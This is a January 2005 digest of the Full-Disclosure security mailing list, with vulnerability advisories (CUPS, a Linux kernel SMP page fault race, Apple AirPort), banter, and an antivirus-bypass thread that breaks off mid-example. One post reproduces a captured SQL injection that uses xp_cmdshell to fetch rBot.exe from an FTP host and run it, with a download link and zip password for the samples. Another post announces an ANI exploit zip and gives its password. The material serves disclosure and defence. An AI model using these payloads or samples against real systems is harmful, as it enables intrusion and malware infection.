This message was scanned for malicious content and viruses by Finjan Internet Vital Security 1Box(tm)
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050112/6c8d3909/attachment.html 

From koon at gentoo.org  Wed Jan 12 09:22:53 2005
From: koon at gentoo.org (Thierry Carrez)
Date: Wed, 12 Jan 2005 10:22:53 +0100
Subject: [Full-Disclosure] UPDATE: [ GLSA 200412-25 ] CUPS: Multiple
	vulnerabilities
Message-ID: <41E4EC6D.3000606@gentoo.org>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory [UPDATE]               GLSA 200412-25:02
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: High
     Title: CUPS: Multiple vulnerabilities
      Date: December 28, 2004
   Updated: January 12, 2005
      Bugs: #74479, #75197, #77023
        ID: 200412-25:02

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Update
======

CUPS was vulnerable to multiple vulnerabilities and as a fix we
recommended upgrading to version 1.1.23_rc1. This version is affected
by a remote Denial Of Service, so we now recommend upgrading to the
final 1.1.23 release which does not have any known vulnerability.

The updated sections appear below.

Affected packages
=================

    -------------------------------------------------------------------
     Package         /  Vulnerable  /                       Unaffected
    -------------------------------------------------------------------
  1  net-print/cups      < 1.1.23                            >= 1.1.23

Resolution
==========

All CUPS users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=net-print/cups-1.1.23"

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200412-25.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 189 bytes
Desc: OpenPGP digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050112/c04f89df/attachment.bin 

From Valdis.Kletnieks at vt.edu  Wed Jan 12 09:36:53 2005
From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu)
Date: Wed, 12 Jan 2005 04:36:53 -0500
Subject: [Full-Disclosure] Reality, humor,
	and history (was Re: MORE CRITICAL FLAWS IN MS WINDOWS EXPLORER 
In-Reply-To: Your message of "Wed, 12 Jan 2005 01:48:29 EST."
	<046c01c4f873$3f351f30$0500a8c0@apollo> 
References: <200501120435.j0C4Zars018630@lists.netsys.com>
	<046c01c4f873$3f351f30$0500a8c0@apollo>
Message-ID: <200501120936.j0C9arSp025309@turing-police.cc.vt.edu>

On Wed, 12 Jan 2005 01:48:29 EST, Kevin Reiter said:
> Sorry, but this was the very first post I saw after I joined this list a little
> bit ago, and I couldn't resist a few comments.  Is this guy for real, or is this a
> joke?

Sometimes, it's hard to tell around here, even if you're *not* a newcomer.

It might be a cave troll out for a stroll.  Or it might really be somebody
who's just fallen out of the tree, who has just "found" something (How many
times have we seen the advisory about Hotmail passwords now? ;).  Often, this
is followed up by several people who don't let the fact they don't actually
know the right answer dissuade them from posting(*).

It's often important to remember that C.M. Kornbluth wrote "The Marching Morons"
in 1953, and the half-century since have proven the basic concept correct...

(*) My all-time favorite "Close, but no ceee-gar" was the advice column for a
Unix journal where the author *remembered* the old "3 syncs before halt"
adage - but got it Very Wrong by advising "sync;sync;sync;halt".  Bonus
points if you can remember (a) the *original* reason for the advice *and* 
(b) how this version was Very Wrong (there's *multiple* answers for this one ;)
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050112/37a3d904/attachment.bin 

From skylined at edup.tudelft.nl  Wed Jan 12 09:39:03 2005
From: skylined at edup.tudelft.nl (Berend-Jan Wever)
Date: Wed, 12 Jan 2005 10:39:03 +0100
Subject: [Full-Disclosure] (no subject)
Message-ID: <000301c4f88a$902dc330$0100a8c0@grotedoos>

Hi all,

Here's an exploit for the ANI stack overflow, written for win2ksp4en, IE SP1. Dunno if it will work for other platforms, might need some more tweaking of the ani file. Let me know if it doesn't work, but only if you can hand me some proper debugging details.

Patch: http://www.microsoft.com/technet/security/bulletin/MS05-002.mspx
Host based products such as Qwik-Fix Pro from PivX already protect against this vulnerability by completely disabling the .ANI file format, I found this out after trying to trigger the vuln unsuccessfully for 10 minutes. It took me another 10 after turning off Qwik-Fix to write the exploit.

Since my ISP detects it as "Exploit.HTML.IFrameBOF-4" I put the thing in a password protected zip file. The password is "margrieta".

Cheers,

Berend-Jan Wever
SMTP: <skylined at edup.tudelft.nl>
HTTP: http://www.edup.tudelft.nl/~bjwever
MSN: Skylined at edup.tudelft.nl
IRC: SkyLined in #SkyLined on EFNET
PGP: key ID 0x48479882
-------------- next part --------------
A non-text attachment was scrubbed...
Name: anieeye.zip
Type: application/octet-stream
Size: 3814 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050112/dfe65a46/attachment.obj 

From blancher at cartel-securite.fr  Wed Jan 12 09:59:30 2005
From: blancher at cartel-securite.fr (Cedric Blancher)
Date: Wed, 12 Jan 2005 10:59:30 +0100
Subject: [Full-Disclosure] [Annonce][Contest] Call For Articles: MISC
	Magazine - CanSecWest/core05
In-Reply-To: <1105346539.4627.63.camel@anduril.intranet.cartel-securite.net>
References: <1105346539.4627.63.camel@anduril.intranet.cartel-securite.net>
Message-ID: <1105523970.4335.69.camel@anduril.intranet.cartel-securite.net>

To those who went to http://www.miscmag.com/csw05-fd.php URL and got a
404, it's now online...

Sorry for inconvenience...


-- 
http://www.netexit.com/~sid/
PGP KeyID: 157E98EE FingerPrint: FA62226DA9E72FA8AECAA240008B480E157E98EE
>> Hi! I'm your friendly neighbourhood signature virus.
>> Copy me to your signature file and help me spread!


From MailMonitor at kings.edu  Wed Jan 12 10:22:16 2005
From: MailMonitor at kings.edu (MailMonitor at kings.edu)
Date: Wed, 12 Jan 2005 05:22:16 -0500
Subject: [Full-Disclosure] MailMonitor for Exchange has processed a
	suspicious mail
Message-ID: <000301c4f890$96f145b0$4912010a@kings.edu>

A mail addressed to you has been identified as suspicious by MailMonitor for Exchange.

	Event:		infection 
	Action:		No action 
	Message ID:	<000301c4f88a$902dc330$0100a8c0 at grotedoos> 
	Message subject:	[QUAR][Full-Disclosure] (no subject) 
	Sender:		"Berend-Jan Wever" <skylined at edup.tudelft.nl>

=============================================================

	Attachment information:
		Event:	encrypted  
		Action:	No action 
		Filename:	anieeye.zip 
		Virus:	 
=============================================================


From raoul at elforsoft.com  Wed Jan 12 10:26:03 2005
From: raoul at elforsoft.com (Raoul Nakhmanson-Kulish)
Date: Wed, 12 Jan 2005 13:26:03 +0300
Subject: [Full-Disclosure] (no subject)
In-Reply-To: <000301c4f88a$902dc330$0100a8c0@grotedoos>
References: <000301c4f88a$902dc330$0100a8c0@grotedoos>
Message-ID: <41E4FB3B.5020005@elforsoft.com>

Hello, Berend-Jan Wever!

> Here's an exploit for the ANI stack overflow, written for win2ksp4en,
> IE SP1. Dunno if it will work for other platforms, might need some
> more tweaking of the ani file. Let me know if it doesn't work, but
> only if you can hand me some proper debugging details.
> Since my ISP detects it as "Exploit.HTML.IFrameBOF-4" I put the thing
> in a password protected zip file. The password is "margrieta".
> PGP: key ID 0x48479882
Could you send a PGP signature for your zip?

-- 
Best regards,
Raoul Nakhmanson-Kulish
Elfor Soft Ltd.,
ERP Department
http://www.elforsoft.ru/


From kju-fd at fqdn.org  Wed Jan 12 11:17:42 2005
From: kju-fd at fqdn.org (Michael Holzt)
Date: Wed, 12 Jan 2005 12:17:42 +0100
Subject: [Full-Disclosure] Using data: URLs for malware injection
Message-ID: <20050112111742.GA12317@fqdn.org>

> I confirm on my Opera
> Version 7.54  
> Build 3869  
[...]
> EXECUTES PUTTY!!! SAID "NOTEPAD.EXE"

As i've got another confirmation of this, i just filed a bug report with
Opera and will wait for the response. Thanks you for testing.


Regards
Michael

-- 
      It's an insane world, but i'm proud to be a part of it. -- Bill Hicks


From robert at roberthogan.net  Wed Jan 12 11:20:45 2005
From: robert at roberthogan.net (Robert Hogan)
Date: Wed, 12 Jan 2005 11:20:45 +0000
Subject: [Full-Disclosure] MORE CRITICAL FLAWS IN MS WINDOWS EXPLORER
References: <200501120435.j0C4Zars018630@lists.netsys.com>
	<046c01c4f873$3f351f30$0500a8c0@apollo>
Message-ID: <012f01c4f898$c2e288c0$5103200a@b5665gx150800>

> Sorry, but this was the very first post I saw after I joined this list a
little
> bit ago, and I couldn't resist a few comments.  Is this guy for real, or
is this a
> joke?

>> : Shogun Suzuki discovered that a remote user can connect to any machine
via
       ^^^^^^^^^^^^
There's your answer right there. Ask anyone for 10 Japanese names/words they
know and those two will probably feature in the top 10.




______________________________________________________________________
This email has been scanned by the MessageLabs Email Security System.
For more information please visit http://www.messagelabs.com/email 
______________________________________________________________________


From ihaquer at isec.pl  Wed Jan 12 11:58:18 2005
From: ihaquer at isec.pl (Paul Starzetz)
Date: Wed, 12 Jan 2005 12:58:18 +0100 (CET)
Subject: [Full-Disclosure] Linux kernel i386 SMP page fault handler
	privilege escalation
Message-ID: <Pine.LNX.4.44.0501121251410.3462-100000@isec.pl>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Synopsis:  Linux kernel i386 SMP page fault handler privilege escalation
Product:   Linux kernel
Version:   2.2 up to and including 2.2.27-rc1, 2.4 up to and including 
           2.4.29-rc1, 2.6 up to and including 2.6.10
Vendor:    http://www.kernel.org/
URL:       http://isec.pl/vulnerabilities/isec-0022-pagefault.txt
CVE:       CAN-2005-0001
Author:    Paul Starzetz <ihaquer at isec.pl>
Date:      Jan 12, 2005


Issue:
======

Locally  exploitable flaw has been found in the Linux page fault handler
code  that  allows  users  to  gain  root  privileges  if   running   on
multiprocessor machine.


Details:
========

The  Linux  kernel is the core software component of a Linux environment
and is responsible  for  handling  of  machine  resources.  One  of  the
functions  of  an operating system kernel is handling of virtual memory.
On Linux virtual memory is provided on demand if an application accesses
virtual memory areas.

One  of  the core components of the Linux VM subsystem is the page fault
handler that is called if applications  try  to  access  virtual  memory
currently not physically mapped or not available in their address space.

The page fault handler has the function to properly identify the type of
the  requested  virtual memory access and take the appropriate action to
allow or deny application's VM request. Actions taken may also include a
stack expansion if the access goes just below application's actual stack
limit.

An exploitable race condition exists in the page fault  handler  if  two
concurrent  threads  sharing the same virtual memory space request stack
expansion at the same time. It is  only  exploitable  on  multiprocessor
machines (that also includes systems with hyperthreading).


Discussion:
===========

The   vulnerable   code   resides   for   the   i386   architecture   in
arch/i386/mm/fault.c in your kernel source code tree:

[186]  down_read(&mm->mmap_sem);

       vma = find_vma(mm, address);
       if (!vma)
              goto bad_area;
       if (vma->vm_start <= address)
              goto good_area;
       if (!(vma->vm_flags & VM_GROWSDOWN))
              goto bad_area;
       if (error_code & 4) {
              /*
               * accessing the stack below %esp is always a bug.
               * The "+ 32" is there due to some instructions (like
               * pusha) doing post-decrement on the stack and that
               * doesn't show up until later..
               */
[*]           if (address + 32 < regs->esp)
                     goto bad_area;
       }
       if (expand_stack(vma, address))
              goto bad_area;

where the line number has been given for the kernel 2.4.28 version.

Since the page fault handler is executed  with  the  mmap_sem  semaphore
held  for  reading  only,  two  concurrent threads may enter the section
after the line 186.

The checks following line 186 ensure that the VM request is valid and in
case  it  goes  just below the actual stack limit [*], that the stack is
expanded  accordingly.  On  Linux  the  notion  of  stack  includes  any
VM_GROWSDOWN  virtual memory area, that is, it need not to be the actual
process's stack.

The exploitable race condition scenario looks as follows:


A. thread_1 accesses a VM_GROWSDOWN area just below its actual  starting
address, lets call it fault_1,

B.  thread_2  accesses  the same area at address fault_2 where fault_2 +
PAGE_SIZE <= fault_1, that is:

[   NOPAGE    ] [fault_1      ] [     VMA     ]  --->  higher  addresses
[fault_2      ] [   NOPAGE    ] [     VMA     ]

where  one  [] bracket pair stands for a page frame in the application's
page table.

C. if thread_2 is slightly faster than thread_1 following happens:

[   PAGE2     ] [PAGE1                VMA     ]


that is, the stack is first expanded inside the expand_stack()  function
to  cover  fault_2,  however  it is right after 'expanded' to cover only
fault_1 since the necessary checks have already been  passed.  In  other
words,  the process's page table includes now two page references (PTEs)
but only one is covered by the virtual memory  area  descriptor  (namely
only page1). The race window is very small but it is exploitable.

Once  the  reference  to page2 is available in the page table, it can be
freely read or written by both threads. It will also not be released  to
the virtual memory management on process termination. Similar techniques
like in

http://www.isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt

may be further used to inject these  lost  page  frames  into  a  setuid
application  in  order  to gain elevated privileges (due to kmod this is
also possible without any executable setuid binaries).


Impact:
=======

Unprivileged local users can gain  elevated  (root)  privileges  on  SMP
machines.


Credits:
========

Paul  Starzetz  <ihaquer at isec.pl>  has  identified the vulnerability and
performed further research. RedHat reported that a customer also pointed
out  some  problems  with the page fault handler on SMP about 20.12.2004
and they  already  included  a  patch  for  this  vulnerability  in  the
kernel-2.4.21-27.EL  release,  however  the  bug  did not make it to the
security division.

COPYING, DISTRIBUTION, AND MODIFICATION OF INFORMATION PRESENTED HERE IS
ALLOWED ONLY WITH EXPRESS PERMISSION OF ONE OF THE AUTHORS.


Disclaimer:
===========

This  document and all the information it contains are provided "as is",
for educational purposes only, without warranty  of  any  kind,  whether
express or implied.

The  authors reserve the right not to be responsible for the topicality,
correctness, completeness or quality of  the  information   provided  in
this  document.  Liability  claims regarding damage caused by the use of
any information provided, including any kind  of  information  which  is
incomplete or incorrect, will therefore be rejected.


Appendix:
=========

A proof of  concept code won't be disclosed now.  Special thanks goes to 
OSDL and Marcelo Tosatti for providing a SMP testbed.

- -- 
Paul Starzetz
iSEC Security Research
http://isec.pl/

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)

iD8DBQFB5RDeC+8U3Z5wpu4RAtXYAJ45dQS5eAcQlLXB4A0Ghss5JC2wIwCfXEQC
u42ec7E/lWZHkhRIA6+bra8=
=6Cmi
-----END PGP SIGNATURE-----




From skodliv at gmail.com  Wed Jan 12 12:53:06 2005
From: skodliv at gmail.com (ren hoek)
Date: Wed, 12 Jan 2005 13:53:06 +0100
Subject: [Full-Disclosure] PoC to be released on 01/20/05
In-Reply-To: <002c01c4f80d$ee825a40$1214dd80@corp.emc.com>
References: <20050111021349.14562.qmail@web61208.mail.yahoo.com>
	<002c01c4f80d$ee825a40$1214dd80@corp.emc.com>
Message-ID: <d6d0f03d050112045324348203@mail.gmail.com>

i am going to spend as much money as i can that day IM GONNA GO FOR BROKE
halleluja


On Tue, 11 Jan 2005 13:46:56 -0500, Exibar <exibar at thelair.com> wrote:
> I'm goign to spend double what I usually spend that day, and maybe buy a big
> screen TV just to piss people like you off....
>  
>   this is not the list for that crap, take it somewhere else...
> ----- Original Message ----- 
> From: Some User 
> To: full-disclosure at lists.netsys.com 
> Sent: Monday, January 10, 2005 9:13 PM
> Subject: [Full-Disclosure] PoC to be released on 01/20/05
> 
> This is a PoC by the people! Be sure to do your part. :-)
>  
> Not One Damn Dime Day - Jan 20, 2005
> 
> Since our religious leaders will not speak out against the war in Iraq,
> since our political leaders don't have the moral courage to oppose it,
> Inauguration Day, Thursday, January 20th, 2005 is "Not One Damn Dime Day" in
> America.
>  
> On "Not One Damn Dime Day" those who oppose what is happening in our name in
> Iraq can speak up with a 24-hour national boycott of all forms of consumer
> spending.
>  
> During "Not One Damn Dime Day" please don't spend money. No one damn dime
> for gasoline. Not one damn dime for necessities or for impulse purchases.
> Not one damn dime for nothing for 24 hours.
>  
> On "Not One Damn Dime Day," please boycott Wal-Mart, Kmart and Target.
>  
> Please don't go to the mall or the local convenience store. Please don't buy
> any fast food (or any groceries at all for that matter).
>  
> For 24 hours, please do what you can to shut the retail economy down.
>  
> The object is simple. Remind the people in power that the war in Iraq is
> immoral and illegal; that they are responsible for starting it and that it
> is their responsibility to stop it.
>  
> "Not One Damn Dime Day" is to remind them, too, that they work for the
> people of the United States of America, not for the international
> corporations and K Street lobbyists who represent the corporations and
> funnel cash into American politics.
>  
> "Not One Damn Dime Day" is about supporting the troops. The politicians put
> the troops in harm's way.
> Now 1,200 brave young Americans and (some estimate) 100,000 Iraqis have
> died. The politicians owe our troops a plan - a way to come home.
>  
> There's no rally to attend. No marching to do. No left or right wing agenda
> to rant about. On "Not One Damn Dime Day" you take action by doing nothing.
>  
> You open your mouth by keeping your wallet closed.
>  
> For 24 hours, nothing gets spent, not one damn dime, to remind our religious
> leaders and our politicians of their moral responsibility to end the war in
> Iraq and give America back to the people.
>  
> ==> Please share this email. <==
> 
> Original sent by:
> James Wong
> Marsteller Interactive
> 
> 
> ________________________________
> Do you Yahoo!?
> The all-new My Yahoo! ? What will yours do? 
> 
> ________________________________
> 
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
> 
> 
> 
> 
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
> 
> 
> 


-- 
smile tomorrow will be worse



From macygasp at gmail.com  Wed Jan 12 13:19:31 2005
From: macygasp at gmail.com (Marcy Darcy)
Date: Wed, 12 Jan 2005 13:19:31 +0000
Subject: [Full-Disclosure] Linux kernel i386 SMP page fault handler
	privilege escalation
Message-ID: <888c2d72050112051917f6f82e@mail.gmail.com>

> Version:   2.2 up to and including 2.2.27-rc1, 2.4 up to and including 
> 2.4.29-rc1, 2.6 up to and including 2.6.10

This is not for 2.6.10, but 2.6.2..


From mducharme at cybergeneration.com  Wed Jan  5 17:22:54 2005
From: mducharme at cybergeneration.com (Maxime Ducharme)
Date: Wed, 5 Jan 2005 12:22:54 -0500
Subject: [Full-Disclosure] SQL injection worm ?
Message-ID: <022d01c4f34b$311d3130$b000a8c0@cybergeneration.com>


Hi list,
    we receveid a particular SQL injection attack
on one of our site.

Attack looks like :
2005-01-05 14:39:20 24.164.202.24 - W3SVCX SRVNAME x.x.x.x 80 GET
/Nouvelles.asp
id_nouvelle=377';%65%78%65%63%20%4D%41%53%54%45%52..%78%70%5F%63%6D%64%73%68
%65%6C%6C%20'mkdir%20%25systemroot%25%5Csystem32%5CMacromed%5Clolx%5C';%65%7
8%65%63%20%4D%41%53%54%45%52..%78%70%5F%63%6D%64%73%68%65%6C%6C%20'echo%20op
en%20217.199.183.122%2021%20%3E%3E%20%25systemroot%25%5Csystem32%5CMacromed%
5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..%78%70%5F%63%6D%64%73%
68%65%6C%6C%20'echo%20USER%20hahajk%20hahaowned%20%3E%3E%20%25systemroot%25%
5Csystem32%5Cmacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..
%78%70%5F%63%6D%64%73%68%65%6C%6C%20'echo%20get%20rBot.exe%20%25systemroot%2
5%5Csystem32%5CMacromed%5Clolx%5Carcdlrde.exe%20%3E%3E%20%25systemroot%25%5C
system32%5CMacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..%7
8%70%5F%63%6D%64%73%68%65%6C%6C%20'echo%20quit%20%3E%3E%20%25systemroot%25%5
Csystem32%5CMacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..%
78%70%5F%63%6D%64%73%68%65%6C%6C%20'ftp.exe%20-i%20-n%20-v%20-s:%25systemroo
t%25%5Csystem32%5CMacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45
%52..%78%70%5F%63%6D%64%73%68%65%6C%6C%20'del%20%25systemroot%25%5Csystem32%
5CMacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..%78%70%5F%6
3%6D%64%73%68%65%6C%6C%20'%25systemroot%25%5Csystem32%5CMacromed%5Clolx%5Car
cdlrde.exe'--|17|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Lin
e_1:_Incorrect_syntax_near_''. 500 0 0 1395 570 HTTP/1.1
attacked.web.site.com - - -

HTTP request contains only 2 fields (beside HTTP method) :
Connection: Keep-Alive
Host: attacked.web.site.com

(I obviously replaced the name of the site).

Decoded SQL injection looks like :
exec MASTER..xp_cmdshell 'mkdir %systemroot%\system32\Macromed\lolx\';
exec MASTER..xp_cmdshell 'echo open y.y.y.y 21 >>
%systemroot%\system32\Macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell 'echo USER hahajk hahaowned >>
%systemroot%\system32\macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell 'echo get rBot.exe
%systemroot%\system32\Macromed\lolx\arcdlrde.exe >>
%systemroot%\system32\Macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell 'echo quit >>
%systemroot%\system32\Macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell
'ftp.exe -i -n -v -s:%systemroot%\system32\Macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell 'del %systemroot%\system32\Macromed\lolx\blah.jkd';
exec MASTER..xp_cmdshell '%systemroot%\system32\Macromed\lolx\arcdlrde.exe

y.y.y.y is a foreign IP in Europe which host FTP an WWW server.
I sent a notice this this site sysadmin about the situation.

I have been able to connect to this FTP with the account hahajk/hahaowned
(which do not seem legit to me ...) and download suspicious files.
I mirrored them here :
http://www.cybergeneration.com/security/2005.01.05/rbot.exe_ftp.zip
zip pass is 968goyw439807r3qw

24.164.202.24 is on rr.com networks, they have also been advised.

I know rbot.exe is known to be Randex worm, but i'd like that have
some other results / analysis.

I also found a "test.asp" file which contains the Spybot worm.

Weird thing is, I searched for this hosts's activity on every server
and every firewall we run, and I only see 1 TCP connection which
is the prepared SQL injections attack, nothing else.

Anybody see similar activity ?

I'm asking since I want to know if we are targeted by someone of
by a worm like Santy of use search engines to find vulnerable
ASP scripts.

Thanks in advance

Happy new year to everyone !

Maxime Ducharme
Programmeur / Sp?cialiste en s?curit? r?seau





From maru at scip.ch  Wed Jan 12 14:37:05 2005
From: maru at scip.ch (Marc Ruef)
Date: Wed, 12 Jan 2005 15:37:05 +0100
Subject: [Full-Disclosure] Attack Tool Kit 4.0 released
Message-ID: <5F9D803B30A8E4418166E637D50E9E2A139F25@miraculix.scip.ch>

 
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Dear list,

The Attack Tool Kit (ATK) is an open-source security scanner and exploiting framework for Microsoft Windows.

The ATK 4.0 has been released. Most improvements and enhancements has been invested in the reporting engine. The generation of html, text and Nessus nsr reports is now possible. Furthermore more than 340 ATK plugins are available and the Nessus NASL plugin handling has been re-introduced.

Feel free to download the latest release on the project web site at http://www.computec.ch/projekte/atk/

Regards,

Marc Ruef

PS.: I am still looking for good persons who want to support the project by writing new ATK plugins. If you're interessted, please let me know!

- -- 
) scip AG (
Technoparkstr. 1
8005 Z?rich
T +41 1 445 18 18 
F +41 1 445 18 19

maru at scip.ch
www.scip.ch

- - Aktuellste IT-Sicherheitsluecken -

-----BEGIN PGP SIGNATURE-----
Version: PGP 8.0
Comment: http://www.scip.ch

iQA/AwUBQeU2Ehe5hzJzqVMhEQIAigCggmaZnYBHcTnMSdulf+jOKK1CCv4AoOe8
+l2tI0NgmZ+GY1HgD5oXB75Y
=W9+i
-----END PGP SIGNATURE-----




From fd.lists.dmargoli at af0.net  Wed Jan 12 05:15:57 2005
From: fd.lists.dmargoli at af0.net (Dan Margolis)
Date: Wed, 12 Jan 2005 00:15:57 -0500
Subject: [Fwd: Re: [Full-Disclosure] Microsoft AntiSpyware: Will it be
	free and Vulnerable]
In-Reply-To: <41E4A7D0.8020805@easynix.net>
References: <41E4A7D0.8020805@easynix.net>
Message-ID: <20050112051557.GA8846@specialk>

On Wed, Jan 12, 2005 at 05:30:08AM +0100, devis wrote:
> Thats is where we do not agree. I do not beleive an user should be able 
> to install anything. I have set up few unfortunates of my clients that 
> get bugged randomly, with a 'user' limited user account and an admin 
> account. 

Sorry, I think I was unclear. I meant home users, which is why I
referred to the PC's owner. I fully agree that in a
corporate/educational/enterprise setting, users should not be admins. I
merely intended to point out that a large percentage of PCs out there
have "admins" who are ordinary users, and hence are prey to banner ads
that promise to speed up one's connection, e-mails claiming to be from
Microsoft, and the like. 

> Write a POC if it doesn't exist and please show that unix 
> spywares in the home directory of the user are efficient.

It'd be trivial for me to write, say, a Perl script that daemonizes and
uploads IP address information (in fact, these exist, as clients for
services like DynDNS), who is logged on, etc. Or that uploads available
logfiles (browser history, etc). Please don't make me go to the trouble
to actually write this. 

And yes, it'd require a user to execute the code. But my point all along
is that user privileges alone, so long as they are able to execute code
(which they are on nearly every major Linux distro), are sufficient for
running spyware. 

In other words, so long as there are ignorant users, there will be
spyware and viruses and worms. This in no way is to say that OS security
is not important, but, as I said before, to blame it solely on OS
(in)security, or to assume that spyware -> insecurity, is incomplete. 

> but it does to install and therefore do its task.

How so? Not if an ignorant user runs it voluntarily. You may be entirely
right that much spyware on Windows exploits software holes, but much of
it also does not (even I, a non-Windows user, knows of Kazaa,
RealPlayer, and similar). 

> Not trusting the user to improve is a big mistake. not explaining why is 
> equally a big mistake. The products got to change, and the users will 
> learn. Education is the key, not covering the bad tracks of the OS writer.

This is basically what I've been saying: user ignorance circumvents most
software security. As long as the user (who is, of course, the admin as
well on a home computer) is uneducated, he is vulnerable, hence my point
before: software security is insufficient to prevent malware. 

It seems we agree, after all. :)
-- 
Dan


From dylang at thock.com  Wed Jan 12 00:56:29 2005
From: dylang at thock.com (Dylan Griffiths)
Date: Tue, 11 Jan 2005 18:56:29 -0600
Subject: [Full-Disclosure] Apple Airport WDS DoS
Message-ID: <41E475BD.9010604@thock.com>


     Thock.com
     Security Advisory

Problem: Apple AirPort WDS DoS
Affected devices: AirPort Extreme and Airport Express.
Severity: Denial of service.
Author: Dylan Griffiths <dylang at thock.com>
Vendor Status: Fix available.

Overview:

Apple's AirPort devices are wireless access points, providing
802.11 services to network clients.  One popular configuration is the 
WDS which causes each access point to act like a physical port on a 
virtual switch, forwarding packets between two or more wired segments of 
a network.

Details:

When configured in a WDS, Apple's Airport Extreme and Express 
basestations can be made to crash when UDP port 161 is connected to, and 
then a link-state change occurs.  The software responsible for bridging 
packets between the wired and wireless sides will stop responding, and 
the entire device will lock up (the status lights will not indicate an 
error).  This occurs on both the wired and wireless interfaces of the 
device.

Vendor Response:

New firmware has been released for both devices.  Update your 
WDS-enabled networks to the latest firmware as soon as possible. Special 
thanks to John Clecak at Apple for working with me to isolate and 
correct this bug!

Airport Express 6.1.1 firmware
MacOSX: 
http://www.apple.com/support/downloads/airportexpressfirmware611formacosx.html
Windows: 
http://www.apple.com/support/downloads/airportexpressfirmware611forwindows.html

Airport Extreme 5.5.1 firmware
MacOSX: 
http://www.apple.com/support/downloads/airportextremefirmware551formacosx.html
Windows: 
http://www.apple.com/support/downloads/airportextremefirmware551forwindows.html





From noamr at beyondsecurity.com  Wed Jan 12 10:20:41 2005
From: noamr at beyondsecurity.com (Noam Rathaus)
Date: Wed, 12 Jan 2005 12:20:41 +0200
Subject: [Full-Disclosure] Multi-vendor AV gateway image inspection bypass
	vulnerability - KMail
In-Reply-To: <d7242632050111101646268bca@mail.gmail.com>
References: <F873C22A-633A-11D9-97DC-000A95820F5E@intrusense.com>
	<d7242632050111101646268bca@mail.gmail.com>
Message-ID: <200501121220.41645.noamr@beyondsecurity.com>

Hi,

Until recently I thought that embedding images within HTML which will then be 
shown in Kmail was impossible. But no longer, it appears that KMail will 
display the images (other things are also possible... I will leave it to your 
imagination) within emails that are viewed with KMail's HTML parser.

On Tue January 11 2005 20:16, Jeff Gillian wrote:
> Interesting. I tested a number of both Linux and Windows image
> vulnerabilities that are all by default detected by my IronPort,
> TippingPoint UnityOne and ISS Proventia appliances.
>
> Using the technique you mentioned, they were ignored completely and
> delivered. Additionally, there are appear to be several mail clients that
> support that RFC, including Thunderbird so you can obviously target more
> than just web browsers.
>
> Jeff.
>
>
> On Mon, 10 Jan 2005 14:08:11 -0500, Darren Bounds
>
> <dbounds at intrusense.com> wrote:
> > -----BEGIN PGP SIGNED MESSAGE-----
> > Hash: SHA1
> >
> > Multi-vendor AV gateway image inspection bypass vulnerability
> > January 10, 2005
> >
> > A vulnerability has been discovered which allows a remote attacker to
> > bypass anti-virus
> > (as well other security technologies such as IDS and IPS) inspection of
> > HTTP image content.
> >
> > By leveraging techniques described in RFC 2397 for base64 encoding
> > image content within
> > the URL scheme. A remote attack may encode a malicious image within the
> > body of an HTML
> > formatted document to circumvent content inspection.
> >
> > For example:
> >
> > http://www.k-otik.com/exploits/09222004.ms04-28-cmd.c.php
> >
> > The source code at the URL above will by default create a JPEG image
> > that will attempt (and fail
> > without tweaking) to exploit the Microsoft MS04-028 GDI+ vulnerability.
> > The image itself is detected
> > by all AV gateway engines tested (Trend, Sophos and McAfee), however,
> > when the same image
> > is base64 encoded using the technique described in RFC 2397 (documented
> > below), inspection
> > is not performed and is delivered rendered by the client.
> >
> > While Microsoft Internet Explorer does not support the RFC 2397 URL
> > scheme; Firefox, Safari,
> > Mozilla and Opera do and will render the data and thus successfully
> > execute the payload if the necessary
> > OS and/or application patches have not been applied.
> >
> > ## BEGIN HTML ##
> >
> > <html>
> > <body>
> > <img
